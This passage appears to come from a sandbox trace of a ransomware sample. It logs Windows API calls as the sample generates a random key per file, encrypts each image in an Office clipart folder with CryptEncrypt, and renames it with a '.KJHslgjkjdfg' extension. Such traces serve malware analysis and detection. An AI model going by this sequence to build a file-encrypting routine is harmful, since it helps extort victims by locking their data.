pbBuffer=0x2bdd90) returned 1 [0187.945] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.945] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0187.948] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.948] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.948] GetProcessHeap () returned 0x2a0000 [0187.948] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.948] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.949] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.949] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.949] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.949] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.949] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.949] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.949] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.949] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.949] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9abe, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9abe, lpOverlapped=0x0) returned 1 [0187.989] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9ac0, dwBufLen=0x9ac0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9ac0) returned 1 [0187.990] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.990] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9ac0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9ac0, lpOverlapped=0x0) returned 1 [0187.990] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.990] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9b94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.990] SetEndOfFile (hFile=0x114) returned 1 [0187.993] GetProcessHeap () returned 0x2a0000 [0187.994] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.994] GetProcessHeap () returned 0x2a0000 [0187.994] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.994] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg.kjhslgjkjdfg")) returned 1 [0187.996] CloseHandle (hObject=0x114) returned 1 [0187.996] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x451e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02028K.JPG", cAlternateFileName="")) returned 1 [0187.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.998] GetProcessHeap () returned 0x2a0000 [0187.998] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.998] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.998] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.998] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0188.001] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.001] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.001] GetProcessHeap () returned 0x2a0000 [0188.001] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.001] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.001] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.001] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.001] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.001] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.001] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.001] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.001] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.002] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.002] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.002] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.002] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x451e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x451e, lpOverlapped=0x0) returned 1 [0188.003] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4520, dwBufLen=0x4520 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4520) returned 1 [0188.003] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.003] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4520, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4520, lpOverlapped=0x0) returned 1 [0188.003] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.003] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x45f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.003] SetEndOfFile (hFile=0x114) returned 1 [0188.006] GetProcessHeap () returned 0x2a0000 [0188.006] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.006] GetProcessHeap () returned 0x2a0000 [0188.006] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.006] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg.kjhslgjkjdfg")) returned 1 [0188.008] CloseHandle (hObject=0x114) returned 1 [0188.008] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a415a00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a415a00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02039U.BMP", cAlternateFileName="")) returned 1 [0188.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.009] GetProcessHeap () returned 0x2a0000 [0188.009] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.009] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.009] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.010] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.010] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.010] GetProcessHeap () returned 0x2a0000 [0188.010] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.010] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.010] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.010] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.015] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.015] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.015] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.015] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.015] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.015] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.015] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.015] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.015] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0188.017] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0) returned 1 [0188.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.018] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7ce0, lpOverlapped=0x0) returned 1 [0188.018] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.018] SetEndOfFile (hFile=0x114) returned 1 [0188.021] GetProcessHeap () returned 0x2a0000 [0188.021] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.021] GetProcessHeap () returned 0x2a0000 [0188.021] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.021] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp.kjhslgjkjdfg")) returned 1 [0188.023] CloseHandle (hObject=0x114) returned 1 [0188.023] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x857ca600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x857ca600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02040U.BMP", cAlternateFileName="")) returned 1 [0188.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.024] GetProcessHeap () returned 0x2a0000 [0188.024] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.025] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.025] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.025] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.027] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.027] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.027] GetProcessHeap () returned 0x2a0000 [0188.027] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.027] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.027] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.027] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.027] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.027] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.028] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.028] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.028] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.028] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.028] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.028] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.028] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7db8, lpOverlapped=0x0) returned 1 [0188.029] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0) returned 1 [0188.029] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.029] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7dc0, lpOverlapped=0x0) returned 1 [0188.030] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.030] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.030] SetEndOfFile (hFile=0x114) returned 1 [0188.032] GetProcessHeap () returned 0x2a0000 [0188.033] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.033] GetProcessHeap () returned 0x2a0000 [0188.033] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.033] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp.kjhslgjkjdfg")) returned 1 [0188.034] CloseHandle (hObject=0x114) returned 1 [0188.034] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf32cd000, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf32cd000, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x6afc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02053J.JPG", cAlternateFileName="")) returned 1 [0188.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.037] GetProcessHeap () returned 0x2a0000 [0188.037] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.037] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.037] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.037] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.042] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.042] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.042] GetProcessHeap () returned 0x2a0000 [0188.042] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.043] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.043] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.043] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.043] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, 